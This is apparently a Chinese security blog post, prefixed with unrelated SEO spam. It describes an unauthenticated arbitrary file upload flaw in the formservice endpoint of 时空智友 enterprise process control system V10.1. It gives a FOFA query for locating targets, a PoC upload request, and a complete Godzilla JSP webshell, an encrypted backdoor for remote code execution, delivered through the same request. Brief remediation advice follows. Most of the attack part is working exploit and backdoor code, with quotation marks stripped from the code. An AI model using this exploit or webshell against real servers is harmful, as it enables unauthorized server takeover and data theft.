安徽省住房城乡建设厅网站,中国菲律宾概念股,哪个公司做网站推广最好,沈阳app制作0x01 产品简介 时空智友企业流程化管控系统是一个功能丰富、灵活可定制的企业管理工具。通过该系统#xff0c;企业能够实现流程的自动化、协同的提升、数据的洞察和决策的优化#xff0c;从而提高工作效率、管理水平和企业竞争力。
0x02 漏洞概述 时空智友企业流程化管控系…0x01 产品简介 时空智友企业流程化管控系统是一个功能丰富、灵活可定制的企业管理工具。通过该系统企业能够实现流程的自动化、协同的提升、数据的洞察和决策的优化从而提高工作效率、管理水平和企业竞争力。
0x02 漏洞概述 时空智友企业流程化管控系统 formservice接口处存在任意文件上传漏洞未经认证的攻击者可通过此接口上传后门文件最终可导致服务器失陷。
0x03 影响范围 时空智友 V10.1
0x04 复现环境
FOFAapp时空智友V10.1 0x05 漏洞复现
PoC
POST /formservice?serviceattachment.writeisattachfalsefilenamea.jsp HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip文件内容 验证url
http://your-ip/form/temp/回显的文件名 上传哥斯拉马子
POST /formservice?serviceattachment.writeisattachfalsefilenamea.jsp HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip%! String xc3c6e0b8a9c15224a; String passpass; String md5md5(passxc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher cjavax.crypto.Cipher.getInstance(AES);c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),AES));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret null;try {java.security.MessageDigest m;m java.security.MessageDigest.getInstance(MD5);m.update(s.getBytes(), 0, s.length());ret new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value null;try {base64Class.forName(java.util.Base64);Object Encoder base64.getMethod(getEncoder, null).invoke(base64, null);value (String)Encoder.getClass().getMethod(encodeToString, new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64Class.forName(sun.misc.BASE64Encoder); Object Encoder base64.newInstance(); value (String)Encoder.getClass().getMethod(encode, new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value null;try {base64Class.forName(java.util.Base64);Object decoder base64.getMethod(getDecoder, null).invoke(base64, null);value (byte[])decoder.getClass().getMethod(decode, new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64Class.forName(sun.misc.BASE64Decoder); Object decoder base64.newInstance(); value (byte[])decoder.getClass().getMethod(decodeBuffer, new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%%try{byte[] database64Decode(request.getParameter(pass));datax(data, false);if (session.getAttribute(payload)null){session.setAttribute(payload,new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute(parameters,data);java.io.ByteArrayOutputStream arrOutnew java.io.ByteArrayOutputStream();Object f((Class)session.getAttribute(payload)).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}
% 尝试连接 0x06 修复建议
接口访问权限增加强认证
设置安全组仅对可信地址开放
升级至安全版本